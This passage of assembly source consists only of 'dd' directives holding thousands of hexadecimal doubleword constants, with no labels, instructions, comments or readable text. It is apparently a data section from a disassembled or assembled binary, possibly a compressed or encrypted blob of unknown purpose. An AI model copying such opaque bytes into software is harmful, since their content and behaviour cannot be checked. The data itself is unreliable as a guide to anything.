8106B400h, 886A19Bh dd 0CB5A00EAh, 5E5DAF0Bh, 6D0046F1h, 0E2F2A4Ch, 6E7462h dd 0B5DA9807h, 107B228Eh, 3000EDFAh, 25963F79h, 313C0Dh dd 0DD92E063h, 0DC0B626Ch, 0B0002FF0h, 0CC7B9DD7h, 18D909Fh dd 7751273Ch, 47501262h, 7B000FF5h, 5D7656Eh, 0BE4D983Dh dd 97EF80C3h, 0FA1A543Ah, 0B2FC3Eh, 8F4FE65Ch, 9F8B65E0h dd 37C8BC00h, 1B6E9ADBh, 0A38D07E4h, 90B37064h, 9D0C395Dh dd 3928C13Ah, 254B9C29h, 0FCF3C880h, 1DC7707h, 0FE6D2CE3h dd 0F0C62A8Bh, 1107E145h, 0C582B958h, 0B7C05FF0h, 2B78C9h dd 930860Fh, 5D15BB87h, 0A48B6B00h, 803C37A0h, 60E2ECA7h dd 0DA0A6038h, 0CF00D928h, 157164A5h, 8421CB7h, 17571A1Bh dd 87C06E1Ch, 29880C2Bh, 799A0060h, 0B1B3CC9Eh, 150030B4h dd 9697D20Eh, 32E09Ch, 766D2623h, 898B6A2Ah, 485C3B00h dd 27CAA29Bh, 0C045000Ch, 0F5476420h, 0DE0F78D6h, 80605925h dd 0B513CD4Dh, 50B91E68h, 848C001Ch, 4831F942h, 467C6F13h dd 3D57A200h, 876C49h, 9F4FCD5Bh, 512A6304h, 5939D03h dd 9081D18Ah, 4C55B3A2h, 0C0060E4h, 0A76ABB48h, 1B794DF2h dd 40143001h, 0C08DB0C4h, 7113DE0h, 94B3C172h, 0E4F270F5h dd 8000872Fh, 299E774Ah, 2A1A6AE8h, 8CB864h, 0D2C867Bh dd 0DB593A83h, 0F322F0Dh, 0ACC8A0DEh, 0FD761C38h, 2A1CC0A6h dd 0BFEAD672h, 23E30A00h, 558F88B0h, 0BA1600D7h, 0B90DD12Dh dd 4F18F7A1h, 18606E21h, 0B27A4C1Dh, 0F066AA03h, 0D180B779h dd 2C009952h, 8EEB9709h, 0FA6DC329h, 0B77009Fh, 49A27FF9h dd 300832Dh, 32AC89A6h, 0F756F2h, 391BFFE6h, 0B5A10A34h dd 57D74B0Fh, 6838A0FEh, 4B0C848h, 0A72C6944h, 863884AFh dd 5858888Fh, 2B3309E0h, 5E282006h, 0E8CA2A8h, 83E51C89h dd 0C08493E5h, 0BB1DF0CAh, 0D649F207h, 0D8407059h, 509DABA6h dd 35C4A1h, 0EA4C8B30h, 93D2D1C8h, 62FD4Ch, 0C9532999h dd 0CC537E3h, 6128F69Bh, 0A50FDE82h, 8065728Eh, 0B18266ADh dd 1D7D5Fh, 0FD115657h, 5358D22Dh, 0B960D000h, 0B2B3EDBCh dd 92A20090h, 4FD627C6h, 3B001482h, 0AF35F306h, 0D75F8Fh dd 0A5EBE0A9h, 85CFAB2h, 0C9C63Ch, 7C374569h, 0AEF798h dd 70979233h, 0A96D6096h, 89428B05h, 8C0569B7h, 84AB4FEAh dd 8507C3AEh, 7608A800h, 0E1100EBDh, 65230049h, 0A6F511E6h dd 823CF7B5h, 975883CDh, 0D8E328A1h, 487DC4h, 62D432DCh dd 8BB9A7ABh, 13F7AA00h, 58870F34h, 0FC2C001Eh, 0BE47295Dh dd 5F77BFA2h, 0FB016A90h, 32A67267h, 0C040E23Fh, 60D7F4h dd 24587DEh, 17621BF9h, 0B9B03160h, 99BBDDh, 6997A388h dd 0A068F79Fh, 52B5151Eh, 0A077288Eh, 82922E4Ah, 6B490058h dd 90215E71h, 0FF481E2Dh, 0FD0B0000h, 0C1A850F9h, 939C00BAh dd 0A9B6FAFBh, 0D915A3F6h, 10902AC3h, 509D42F3h, 7C90263Bh dd 12357884h, 0B500BF50h, 6BED1CABh, 5F00F7B7h, 5DD17246h dd 0B0071369h, 186C05BDh, 3BDD3Dh, 0EB26A4ECh, 23032D9Dh dd 3ABDFB52h, 59B80048h, 81BAE34Eh, 0C10CD9FEh, 584C6CDCh dd 0F4190040h, 1A09A56Fh, 730452A7h, 152E5C68h, 0D180DAC0h dd 8E16003Bh, 0E884EECEh, 0F30022C3h, 0FBE9611h, 0B270517h dd 0C49F9304h, 6D6AEA00h, 65019499h, 0ED48268Eh, 0D4CCD3C3h dd 310C00D0h, 375BF2C6h, 0FF0F46FEh, 4001D1F5h, 388DCEF0h dd 2228000Eh, 0FC3E9311h, 871EB144h, 9C8017C4h, 18464A78h dd 45C1006Ch, 0CEF9A6D2h, 0FF240FD7h, 0D1827C63h, 0E34270B6h dd 814C875h, 66D800EFh, 4CE4B288h, 8E3D95B0h, 0E73F75C1h dd 4ADC804Fh, 2185E526h, 8A3900F6h, 0ECAC6BBEh, 7616A4B9h dd 0AA492423h, 40443017h, 87F43EE5h, 250324C9h, 0DF7BCA85h dd 0E275FF0h, 0C2E75B04h, 54802D80h, 0FCC6609h, 7D16FC59h dd 0ED46ACE0h, 0F8011939h, 2157F08Bh, 0F4C88026h, 3097019Fh dd 0A337CE3Fh, 0A96E0014h, 40B84D98h, 0B168B400h, 0ACC2E801h dd 0F5302016h, 7D548003h, 3ED3C1F4h, 0DD3C28BCh, 2D7E5100h dd 86D5AEC2h, 0C5A89700h, 3C7F631Eh, 11BB0F76h, 85A07D61h dd 6C133D8Dh, 0AEB3EC03h, 0C171EBh, 6473E130h, 0B1775461h dd 7CB02B28h, 8CF4410Fh, 0AC131D3Ch, 4966D440h, 0C059C0B1h dd 8FA81710h, 0AF007538h, 0AC4DEF95h, 5F4DC92h, 970C544Bh dd 3A6C0FEAh, 102114C2h dd 0CE05906h, 6C782BAEh, 0C0006171h, 826EBF25h, 0B169ECh dd 609FCFFFh, 9B9EF0Dh, 0E0520700h, 3473D26Fh, 66238D3h dd 0A09EDE00h, 2E893970h, 0A781091Dh, 7E56840h, 3B838D59h dd 3D809030h, 2805B32Fh, 0EC0C55FAh, 0D97DE0DCh, 68ED43E6h dd 8A5F0490h, 80A42361h, 0D556E160h, 8E00A312h, 0F4580F55h dd 0AA2D92Bh, 249461D3h, 0F5600384h, 2848D474h, 3328672Fh dd 7D24CB80h, 2DED0125h, 26D13A1Bh, 0C0F2C97Fh, 0D707721Ah dd 4875E778h, 3B9F0AF0h, 209C019h, 113E9E0Bh, 1C5D0802h dd 0F716EA0Dh, 404937E0h, 0D87BDE05h, 0BC855E2Dh, 99F16883h dd 27209E42h, 0A35000F2h, 80472E0Ch, 0ED003743h, 9EFD285h dd 6A6B06h, 75998CC8h, 542D0507h, 0C7F01F4Bh, 0B772B5h dd 0DB6425A8h, 40A3C59h, 0A0E2C513h, 617BF400h, 2C2CF83h dd 0CDAEA53Ah, 9C806FB5h, 0F131B426h, 0C0A6D00h, 3A407432h dd 2598A09Eh, 5E717A3h, 271C0073h, 12C68315h, 0E553B703h dd 482134h, 1DA03328h, 0A74AD823h, 9F1F6E00h, 7E43760Ah dd 0FCAE0E05h, 0C7EEFB22h, 33E3D3C0h, 980B0370h, 807158D1h dd 0E9BFF51Fh, 27B70717h, 300EF830h, 0EE29186Bh, 7568FB0Fh dd 5C6380A6h, 1EE984B7h, 1EF6A92h, 9DDD0CF0h, 8DFC40ADh dd 0AB079E10h, 4DB8726Fh, 0B1A47A80h, 0D1433A69h, 0A2134089h dd 0F6E1DE83h, 0DDC6ABB0h, 4CD33800h, 0C2B05EFAh, 79602FE4h dd 2E112240h, 84B6223Dh, 6EE65F76h, 41FAD0C8h, 56168047h dd 0A2B8D26h, 84BF0055h, 0D2CAC8C9h, 0C40E6E9Ah, 0A043B5A2h dd 532E370Fh, 0A90300D8h, 3E996B71h, 860FA405h, 0C98881F5h dd 0C7A300D5h, 7E527Fh, 37DBB126h, 84A55B09h, 7C98C001h dd 0AA459425h, 0FB6F0A8h, 5A370671h, 0D20008EFh, 4B31AD57h dd 984CB900h, 41EF9A7Ah, 0E2E0739h, 2A5E63h, 1132765Bh dd 0B0684Ch, 37486108h, 6196A088h, 9A3EF01Dh, 0BA48602Eh dd 0D628000h, 4CB54851h, 0AC530015h, 9EFA3BC5h, 35007237h dd 391E2C31h, 0E24F20h, 71C3B8EBh, 0FC12AF82h, 9193CE13h dd 0A540831Ch, 0CABFED1Bh, 30630060h, 0C09F5FB6h, 3170D420h dd 0E2006D90h, 0BDF338BFh, 9444EDh, 523F88C3h, 242B7E7h dd 44199E2Eh, 5A04F1Ch, 5CD44BB6h, 2C1C803Dh, 0B40782FFh dd 67859542h, 2724A550h, 0EA90010Ch, 7BAC7DE8h, 1AD0D8E3h dd 45977900h, 0E6729E41h, 0F0953B26h, 3A0EA8C8h, 8FA166C6h dd 70621C1Eh, 6700E20Eh, 0F0850110h, 13B2C636h, 542FF666h dd 8A000440h, 0EA9AA6E9h, 0C500FA5Ch, 5DBF1592h, 3ECE699Dh dd 1701B8A7h, 4FBC2125h, 0BBA8F7A6h, 0FEF88DC2h, 513BF712h dd 8EC1D81Ch, 4AA016Bh, 6E5F9300h, 260F80h, 0C536513Dh dd 0BD123244h, 6ACB282Eh, 80A74900h, 9FDF7E4h, 8B6B50E1h dd 0F6A0178Fh, 0CBCC9F8Eh, 9200D094h, 8669018h, 2893BC0h dd 6A27EB00h, 0C64231F1h, 1AF20300h, 11FFD12h, 4BD8027Fh dd 0B53D8875h, 0C39FE60h, 473A0978h, 5900F75Eh, 36256F5Ch dd 4116B9h, 0F0DC863h, 0A547CF33h, 4B6C581Eh, 0C213C187h dd 3861D660h, 0C59E003Fh, 1C69C69Ch, 0A800AB59h, 75652EDEh dd 61FB7h, 782505FCh, 3281EAA9h, 0AAC58800h, 0D53EFE9h dd 0A5BB0767h, 818E9838h, 205BA1FAh, 548398Ch, 6F430FF4h dd 7F137ED4h, 6C3DC800h, 0E3C980Dh, 94530607h, 0B75FFA20h dd 7C2EDE6Bh, 0A5006297h, 19D196Ch, 0A38C028Dh, 20725431h dd 0BB9A8C40h, 28004BF6h, 0FEA55396h, 0E641391Bh, 4D2C000Ch dd 716B4EF9h, 600A418h, 0AB8D8194h, 92A65Ch, 0E291AA9h dd 3AF2E52Bh, 4634CD00h, 0CE45268Fh, 0EC0490BDh, 8C7A3Eh dd 50E71B57h, 3C1FA1E3h, 0A2DB9D04h, 0E8C0AE76h, 299651h dd 19BEBF9h, 0D33BE44h, 783DA901h, 0B23E3757h, 0FBD847F5h dd 0DE7979h, 34BB62EEh, 911EDDC2h, 0AA63E0Ah, 89879869h dd 15007E0Ch, 0FC6BC5h, 90DF9194h, 0BCA5F1ECh, 0E94BED00h dd 0E78A21BFh, 0C57BA4h, 799D4DEAh, 96D0901Ch, 13901B7Bh dd 2694F800h, 0EEB0DB76h, 7170ABh, 0E72F5384h, 0C646BF79h dd 0FF161EE0h, 5C008D67h, 6DE537EFh, 1C79F8h, 0B86CB0A1h dd 775E0F2Ah, 8FB2F300h, 6F05ADA3h, 0EAEF7C06h, 283600A1h dd 2A7EF4E5h, 5102DFF3h, 1787347Ah, 43FC40D7h, 0E260000Fh dd 25271884h, 5C074F7Eh, 50215BDh, 103380B9h, 0EBC92Ch dd 0F6D2ABFBh, 0C54F2F04h, 0D00E892h, 9C447985h, 7244867h dd 0EB01A715h, 90CE87B5h, 60D632DFh, 0CDB37401h, 3D31D94Ah dd 863770h, 563BEAADh, 0A1E9751Ah, 250CB800h, 0B51EE865h dd 88C0F9Eh, 0D66160CCh, 71031869h, 439BE3DCh, 39E81120h dd 1050F06Eh, 74823887h, 54AEEF04h, 0D093857Bh, 0BCBA450Ch dd 0AD3C8D12h, 0C5607C90h, 2845E9F9h, 6BD15400h, 4AE48CA4h dd 0E283AE2h, 0DFF3B353h, 0EBF231Eh, 23E33115h, 1649E93h dd 11ADBA90h, 6059F0FBh, 0A005C68h, 21A32BF7h, 9C8395h dd 74AD9EF1h, 0A5C78270h, 0D59BA600h, 3C522599h, 0AB7D0095h dd 96627548h, 0E3003A72h, 0CBBDB5E1h, 0DB4B86h, 0D780EE12h dd 4228D25Ch, 0D82CF9ECh, 8B0779BBh, 78D0D0B3h, 34C5DDEh dd 600C054Eh, 0DFC3F965h, 0EEA3FBA0h, 0C9077700h, 93E45A14h dd 83B80069h, 4276253Eh, 0B200A109h, 7BF6F46Ah, 1E20681h dd 944375A2h, 206FD319h, 1E0015ABh, 0BB90140Dh, 3EA05429h dd 0F1009860h, 9D873B44h, 0D209123Fh, 48E033BCh, 3DDEB8ECh dd 4001B1A2h, 0F8DB14CDh, 80B3D1C2h, 0A2466121h, 138FA61Bh dd 0DD1785h, 0AB5A333h, 2E07F960h, 0AFBDD65Bh, 5811E760h dd 8269342Fh, 99D84022h, 54664D88h, 0ACED9D03h, 0A3F42D3Ch dd 13210008h, 825C4D30h, 5E359301h, 0A0D0A8E9h, 9AC2083h dd 47D39D9Ah, 20E79E06h, 6F30597Dh, 11E418F7h, 62712448h dd 0B0CE8790h, 0D444B2EDh, 0CDE9E540h, 21D708CCh, 0EC881F2Eh dd 150600B7h, 0C73EAE2h, 907A3700h, 0B22363C4h, 6EC60535h dd 229B0343h, 0E430F99Ch, 33AF11A2h, 80A58850h, 32A24C1Bh dd 9D00C45Dh, 82DB7941h, 51B31E75h, 94039826h, 386FC111h dd 0A892108Bh, 0B2EFCA00h, 0B7006283h, 2A9E4522h, 1FE14EB3h dd 0C0095F57h, 528DEBF4h, 0AE0C85Dh, 0E194D8F1h, 50A9CE00h dd 0EDE729B7h, 161A006Ah, 3DBAAAECh, 68009FFEh, 256C8B3Fh dd 37531ABh, 60AF81E6h, 0BB982332h, 0D63878A6h, 166883FEh dd 0C89B3D47h, 142C58F8h, 0B3BF2BE9h, 0C28A6F03h, 2EE0F91Fh dd 0DA18B47Bh, 4B287673h, 5EF700E8h, 0C4BEFA9Dh, 72078744h dd 0F56B77EAh, 0F43E7BC0h, 31070C14h, 0BE115C8Fh, 1A7CF307h dd 0C033A6F1h, 3008CED9h, 95207AA8h, 0B2067B48h, 0E15DBAF1h dd 4944C149h, 0F08A9379h, 7600AF66h, 0EB8D1DCh, 197D4816h dd 0A8192F2Ah, 0C3A5254Dh, 5B5E5007h, 2C0088DFh, 1D5AA012h dd 18A3FA84h, 37BA210Fh, 29A78803h, 3CADE4D1h, 91608CF8h dd 4BE8C69Bh, 9A228700h, 82D366C2h, 5FA006D5h, 0CA84817h dd 0CCE87612h, 10B05118h, 0DFBF0091h, 1CA782D2h, 7000AC6Bh dd 90F9E168h, 7F0137F3h, 4FF11A5Eh, 894070B2h, 0C10F8AC9h dd 0E4EE20A0h, 0C580AB86h, 826231h, 96FF3DB3h, 0C05978BBh dd 0B675E600h, 74F5165Eh, 97C23BCFh, 55E8A800h, 0EB38D595h dd 0B8F2B706h, 0E838072Dh, 7F6E37FFh, 0D9C98008h, 8E014D19h dd 0FB4CC57Eh, 82DCFDEFh dd 615D0007h, 9E2EF37Ch, 0FA3CAB26h, 634E8092h, 430E108Eh dd 105F8A8h, 960A2B99h, 0EC06ED38h, 70C03F87h, 48C7FCFFh dd 5A56014Dh, 0C6E1C18Ch, 3539CC92h, 5EFDAB00h, 52125DFh dd 0DCC8004Eh, 2DB01964h, 3F003332h, 0FC41A0CDh, 60C99Dh dd 398D305Eh, 1ED556ABh, 0A70087E8h, 0CD86B78h, 633D2C4Eh dd 9BBF4063h, 0BCD01928h, 0C9916033h, 0E8FDB30Dh, 3FDE6147h dd 4E0110B0h, 0F53BA032h, 0FCC8C736h, 380F6923h, 0A03EDCD9h dd 6E9AE765h, 0FC904FC6h, 0ECEF1EC5h, 75452141h, 318CE6A2h dd 0E5088EE4h, 79547600h, 8C9481B8h, 0F03B00D9h, 0B0062BDCh dd 87055B5Ch, 1B168669h, 0C31081EEh, 0EF65C4C1h, 0DA91CD00h dd 1C5B46FFh, 0A360EBA6h, 587461ABh, 8275D423h, 2AD69C4Ah dd 322C0C0h, 0FAF9807h, 1B8B9FDDh, 91753F41h, 0C59980E9h dd 40B337C9h, 2D6F004Dh, 0D9AE06C8h, 0E6F8B465h, 3E949506h dd 131EC8Bh, 0B0AE64EAh, 60420940h, 0AA5808B4h, 41330068h dd 7281CE14h, 766C0E26h, 0EB605943h, 16EE7FEAh, 0E6FDC300h dd 0D5B37750h, 0EFBB03D3h, 93C494DAh, 6CF8C060h, 2A992E10h dd 98EAE4h, 91F82609h, 162D6631h, 0BA7341Bh, 27F6D031h dd 0CAFF00D6h, 297067D4h, 0EE031AAEh, 62A1A4DAh, 16F88895h dd 0ED9307F4h, 6B7A617Ch, 0E880BD54h, 14175205h, 880D1A32h dd 41610EBh, 85B2D518h, 0EA3B6310h, 0ED7D00E6h, 8DA34D2Eh dd 6F00B9D7h, 9CF82BACh, 1F3D955h, 7E83E8CDh, 0E819E9A9h dd 690047B9h, 820E0C6Eh, 251C0ECh, 1B536D18h, 0B8C00B29h dd 0BD013190h, 45A895E3h, 0E9E8B5DAh, 70AE036Fh, 0A53FB34Eh dd 0DE42A3B8h, 8D028000h, 57A769A4h, 0CEEF0040h, 1BD413C5h dd 230092BCh, 5607FEC9h, 868CA8h, 42D8C4E9h, 0F0C0CC45h dd 0A610C307h, 5F8051FBh, 1D7CB06h, 0F8EF4248h, 0C4D4DDABh dd 5D002FF4h, 0B1534A0Eh, 0A9C78Dh, 670DC324h, 6B19D74Dh dd 5528FF00h, 0B3134C34h, 31FA02CDh, 4A42351Ch, 85904543h dd 0E50073BBh, 30458707h, 848DF9h, 14B657CCh, 1FB488CFh dd 25312C02h, 809140E7h, 57074CB4h, 0A84603ABh, 6ABDB36Fh dd 8DE2C788h, 0CD0F177Bh, 60144B88h, 0F4AA3AF5h, 3D6FE77h dd 5A4EF3F8h, 50970456h, 0DEAF291Eh, 2A69E24Ch, 3F00E840h dd 6A6CABC4h, 78CC797h, 50568303h, 58DD3081h, 0AE001432h dd 0A5B73940h, 779E85A0h, 1A080030h, 7919ED5Fh, 11015427h dd 0CD5181Bh, 0FF603F50h, 0BE7400FAh, 78BABC44h, 0C80039F1h dd 0AEBDA4CCh, 3F91716Bh, 708143D1h, 0E0849F69h, 70D7EDDBh dd 8F00EC0Bh, 9C37C008h, 12D1B8h, 9E276460h, 9488483Ah dd 0C0872132h, 9728A059h, 1C70A826h, 8EC67D39h, 0F5208C04h dd 8569965Ah, 0E9000872h, 0A41A9BBAh, 40A9A7h, 44049E2Ch dd 50F98EABh, 600617FEh, 6315CF05h, 3F1D0070h, 1A1C782h dd 3075F526h, 2F66A00Fh, 270DA1B8h, 9024B321h, 0D113002Ch dd 0A6209A1Eh, 6F1E807Bh, 6267D97h, 5E69A100h, 7755C44h dd 2720CBA3h, 90A8F7AAh, 1C3A92C5h, 9D3D1600h, 22AC8C08h dd 0F50300E0h, 0C8FDFF2Fh, 18011C05h, 0E8EC8453h, 0D8F34FF0h dd 79AFE78h, 0DDA1C3BEh, 45A3C05Dh, 0D100941Ch, 0F1727DABh dd 0BD4055h, 8E6F7BF9h, 384CF29Ch, 318F448h, 53207489h dd 0B677A0ADh, 42D5288Ch, 0E0600F8h, 83CF5C7Bh, 7430270Ch dd 1C25E9A4h, 117A7Fh, 7571BDBEh, 0F50973C3h, 0A5F28400h dd 5FB912AEh, 0A444004Bh, 0B0EF4762h, 58C0DA54h, 1EA5070h dd 0DFCD00F0h, 0C0DEA336h, 5F48C4B1h, 46EB006Eh, 0F62F19EFh dd 0D0E000B5h, 0A41D22A0h, 1200E329h, 9E4F85A6h, 0B3BAB0h dd 5CE7B7F2h, 0D77E65DBh, 0FA2D6203h, 57A308h, 9ECCDE34h dd 0F5ADB7B2h, 0F18F9A12h, 88D2AC00h, 0FCDFE549h, 0D91E005Eh dd 84087A4Eh, 0C0008992h, 0FC9CABDCh, 0F343FFEh, 37367B68h dd 188073C0h, 131D1CADh, 0B0C0EC08h, 0F9D3F026h, 0CFA60159h dd 788EF5AAh, 96688090h, 0C038F38Bh, 0F1500B2h, 4096766h dd 944E329Ch, 240334C0h, 461000E5h, 0FD83EC9Bh, 88004BB7h dd 12DE2A29h, 603C815Bh, 65910A5h, 2F06B31Ch, 9F8B3FECh dd 5E1B0029h, 7CB25D0Ah, 0FF00F0EDh, 45619C98h, 5F7D59h dd 63E97288h, 42C47F60h, 1B84EB54h, 666EAB00h, 0D99A6782h dd 1249A21h, 7E3335Eh, 0DC1430D1h, 2E503759h, 9300E5D4h dd 0C28315C8h, 0F032DF53h, 0BB7502D7h, 0FD488A64h, 0EB096940h dd 213EC51Fh, 52CDC880h, 7D6E77h, 0E22A8235h, 70C52320h dd 0F98610C0h, 30A0C4h, 0B9C7B553h, 0E659A5Ch, 61FB5800h dd 0F352FAF7h, 8B4F0086h, 2A18FD4Eh, 34388174h, 0C2258FB5h dd 0B97CC0CBh, 731EBBh, 3551C5Eh, 40E93AEFh, 86422E00h dd 7B9934Dh, 413B0008h, 0DE5E7B65h, 6C1FC5B3h, 0A9C0B6BCh dd 1B5150BAh, 0D952009Fh, 812097C3h, 0E91E963Bh, 840B486h dd 0A2A926A5h, 977D0727h, 60804A41h, 0D8562ACEh, 3C41E3Ch dd 0CC6541Fh, 860180F1h, 37F5002Eh, 56E302EEh, 31005AFFh dd 9566E828h, 0C3B538h, 0EF4A9959h, 0C48149CCh, 5C985500h dd 8B058F24h, 140900EAh, 5DEBE967h, 0DA0E75EEh, 7CDF52A0h dd 0AB825981h, 96D4ACCAh, 0FB7A009Fh, 0ABF644Eh, 8E078794h dd 8A0245DEh, 3B700D90h, 0AC6700A9h, 0FE258BEAh, 71000E6Ah dd 6E81057Bh, 14A5FCBBh, 0AF095FA4h, 0D1376700h, 7AC2517Dh dd 0DDC82728h, 0AB014775h, 0A0745C69h, 2C0CF1Ah, 6EFC07D3h dd 0EE21DAF9h, 0FF086B40h, 8300EAA1h, 0DC9FD082h, 9812BEEFh dd 0D7B50h, 37C1ED81h, 0BD1A1C6Eh, 93383500h, 51A7A305h dd 467303E1h, 68B00FE2h, 89002075h, 0E112552h, 0ACF919h dd 0DDD596B5h, 439D9E72h, 7C642800h, 0CCD3215Ch, 87542CEFh dd 3F8B8078h, 151DDADEh, 33FD1400h, 0A1341C94h, 9A8A00E7h dd 78CB8D72h, 6A008677h, 0AB2DC405h, 0A822B1h, 5272A741h dd 9C2CF257h, 770BD500h, 0C68ECBD9h, 94BA7Bh, 9709F337h dd 0BE5E1CA4h, 0B61B9C00h, 7D7864E6h, 8688C72Ch, 0D870C181h dd 51119E65h, 50F4003Dh, 7A71D0A5h, 8EFF00C0h, 76E95C8Ch dd 0D3EE03Bh, 0BFDFBC4Fh, 82BB97AEh, 8C8DCC4Bh, 194DE168h dd 608C12EEh, 5EF5D853h, 18B5074Ch, 1211427Dh, 1403B016h dd 5C398C63h, 0A92C2F01h, 0FDDFD96Eh, 10C403Ah, 0FC9AF2BFh dd 9CB17000h, 34188414h, 317B09h, 0C725F641h, 7563EB38h dd 1E2D1500h, 0FDB9CD2h, 45B700F8h, 0E6721A31h, 54016A7Bh dd 959B4273h, 0DFC3FE8h, 793200A2h, 0E0EAA098h, 0E003027h dd 0A1704C99h, 0A62F76h, 9B95E9Ah, 4175409Dh, 5F6E4700h dd 0CEF097DAh, 573C008Ch, 771BDD44h, 0D900CB32h, 0B8B46B43h dd 0CD2D50h, 0FFD0CED6h, 0F8715203h, 0A5D10C60h, 2617C758h dd 0DF66624h, 0CD08B98Eh, 4E20805Dh, 5095C7B0h, 6EA00C2h dd 78C9B487h, 340035A4h, 7AB7D17Dh, 2A740A65h, 1EC8E9C0h dd 0C0C7130Bh, 7CE6FE19h, 0E1744E10h, 3D21D461h, 32E43AE0h dd 17F1Fh, 5AF8BCD6h, 0A95D46C8h, 0F96BBF0Ch, 580268CFh dd 0EC142463h, 862AF981h, 8F3200F4h, 3B35F6ABh, 0CD660925h dd 0E21B109h, 0F4AB7812h, 0DF03BBC0h, 0F16F672Dh, 11184381h dd 0B57896F0h, 0C52AFA70h, 0A800F886h, 0D9B3CA16h, 1D81ABB4h dd 12AEC401h, 3A14C0ACh, 797CCA8Fh, 74EF5300h, 3118D76Ch dd 0B95D31E0h, 0B77F48C9h dd 4D041858h, 7D502F00h, 0BF0015C9h, 0A3DF5691h, 0EA2CF7h dd 0AF04133Ch, 298F5BCEh, 890169F8h, 0EC078ECAh, 0D5E03294h dd 0C4983CACh, 0D09E033Eh, 39BE848Dh, 250AC05Eh, 5100CB1Bh dd 82E6B4Eh, 7B6C787h, 0CCF868Bh, 0B4FE4072h, 0F203D229h dd 93CDC05Bh, 9275A1B1h, 211AD0h, 7880B4FFh, 0A41F0DFDh dd 8742C700h, 0F42A587Ah, 0A89D0146h, 0B77C5177h, 64508149h dd 296FE117h, 1DB0F9ECh, 5E3811DEh, 31203090h, 0C7107F04h dd 661077A7h, 41B43199h, 99806E11h, 64B8E570h, 0D13902BAh dd 40718034h, 0DD89B758h, 0F3041BB3h, 0FFF0486Fh, 0B1C0015Dh dd 0F7782649h, 0B9F0365h, 730AFAD8h, 588B0830h, 72C37B49h dd 0F5BD03F7h, 0DC58AD50h, 44FFC82Ah, 5923C503h, 1BFEA25h dd 1B229E64h, 0D862B4DDh, 28C0AD8Ah, 690340DEh, 5A390374h dd 5D717C3Ah, 7D495CA7h, 0ED326701h, 73384F78h, 0C3358F4h dd 0D236B020h, 49388AF8h, 754A0F21h, 0A74F0F35h, 0AFB02399h dd 781DD3h, 0B4A8448Eh, 0EEE030C8h, 0E746690Fh, 8C644131h dd 0FC871F1h, 77760747h, 0A1A01C62h, 0C0EDAF35h, 0AD00AAA9h dd 49B62FE2h, 2E2494h, 0E230175h, 0A9FDB37Dh, 4F73E8F7h dd 84B89900h, 9B15E252h, 16E12D5h, 0FB300A7h, 0A910F933h dd 3A48E12Eh, 0AC285000h, 0C0B2Bh, 8E37798Fh, 9864246Bh dd 4F1E7EF8h, 400A056h, 9C7433D7h, 6D1300DDh, 8E40F42h dd 0F67C226Ah, 7F942800h, 1F37AA33h, 1951F7Bh, 7186458h dd 6075BA87h, 6CA2DCAFh, 0F03DD72h, 6A3A4EE3h, 0DA8085A4h dd 1DE441F4h, 41D833A5h, 90D518AEh, 0C70898A9h, 9520421h dd 1CA03D33h, 0C448D302h, 685673C0h, 0D55370Ch, 6CB0585Ah dd 0A26030E7h, 334F1F8Ch, 0E0FE50C2h, 3E338402h, 8E81081Ah dd 78B3B838h, 0A14187D6h, 1E462126h, 0DD051C70h, 6D0020E0h dd 14C5782Bh, 4041F647h, 0C11F83C4h, 11704C5Dh, 3370C61h dd 5603A99Bh, 930CEF8h, 0B18161FFh, 0A12B0637h, 49EE35C0h dd 7963AA01h, 105DD108h, 9066F8F3h, 2F14004Dh, 3B07B3D9h dd 6D00886Bh, 659885DEh, 0C0BE28EDh, 80210F98h, 6B71737Bh dd 166154F8h, 4D6CC119h, 37810200h, 989F6A3Ah, 0DB207CC5h dd 0E54A002Ah, 0EFAC8BDAh, 68484B55h, 8C00775Fh, 2B6BA191h dd 1C462C7Ah, 43DE32F0h, 2DD5BAD2h, 0F2CD13D8h, 0E0057B8h dd 511CAA02h, 0F852BA4h, 6F8B46E1h, 3D6881C0h, 0E8008D49h dd 299664DAh, 3FADB83h, 0F4EE9CECh, 27801A38h, 730F94D4h dd 4028FE47h, 6F7AA841h, 190B00A6h, 0C4DEDF5Bh, 30046B1h dd 63E977Dh, 0EA1E1Bh, 0D8F44EB0h, 7935EBEFh, 8B140700h dd 0E191CBE9h, 0B54438C7h, 878099BBh, 355E0109h, 0F900DF0Ch dd 5921B6DCh, 0E1C673B7h, 4631094h, 0A9B8F8B0h, 0AFA710C1h dd 0D8C4598Bh, 4087820h, 0B3AC0989h, 9C38C0D0h, 0AD0087A1h dd 8E5D3F84h, 60624AE5h, 0ECCB0980h, 0E3E8AF7Bh, 9B788700h dd 15CE5E7Dh, 38EEE4C3h, 6F005ABFh, 1D59AED0h, 3103D7C6h dd 81A9932Fh, 0F1649840h, 0D62101A6h, 2923BF97h, 0FF41F45Ch dd 14FA3707h, 0C927118Ch, 1E872840h, 0B8580E09h, 0B9872D95h dd 55874B98h, 0C0C2A401h, 9C2E68C2h, 0F8B1CE00h, 298DCB4Fh dd 0DA5C00CAh, 0DB11B794h, 0B8002BEEh, 0A6C4F6E9h, 0EE5823ACh dd 0E7778D1h, 74263CF1h, 2B44FC43h, 0D336CEB8h, 141345EEh dd 0F700BD3Fh, 9CCCA6Ah, 6EEA3CC0h, 0FE264180h, 0BB933F66h dd 5EA7879h, 17187EB8h, 8C18641Eh, 0D132000Eh, 730CC2A4h dd 9A0039CBh, 0FCE11953h, 0F6B760Ah, 35F81E8Ch, 0C4B5BDC0h dd 0D8A06278h, 0C9796A31h, 8C9C7B07h, 0F290C8AEh, 74FAEBh dd 0B68D10A5h, 876C1BC0h, 26669100h, 6E2A9A29h, 0F8BE0045h dd 0BF37DB5Fh, 96004BBCh, 0FBEF644Eh, 0C093D997h, 5F30A5AEh dd 130EBFD7h, 63A6EB14h, 0EE016DDBh, 46800011h, 0F054F32Dh dd 0E4039694h, 25BC58A2h, 3DDA77F9h, 0CC021636h, 60997715h dd 61003844h, 0D9293421h, 28DDB9E0h, 0FA9B43EAh, 80C71231h dd 55000089h, 286B5C04h, 5EE3C800h, 41F55658h, 0F9D400F2h dd 0C6E95777h, 791D505Fh, 134F75DCh, 8EEAA0CFh, 0F0447ED5h dd 1FB73D92h, 0A3001449h, 74EB05ABh, 0D1027749h, 551B4EFFh dd 4F9BE191h, 48A5C8h, 3DBC0826h, 0FC755735h, 0E68848h dd 45B40CA6h, 0ECB3B53Eh, 0C9740F05h, 0AFA16781h, 0F8C08E5Fh dd 1200B694h, 8A91A406h, 990FA1h, 535EA82h, 131875D0h dd 0BCB9C900h, 60FBABDDh, 2EA900BFh, 2CA112BEh, 2AFAA23Dh dd 0F80022FCh, 3410C77Eh, 1BBC4Ch, 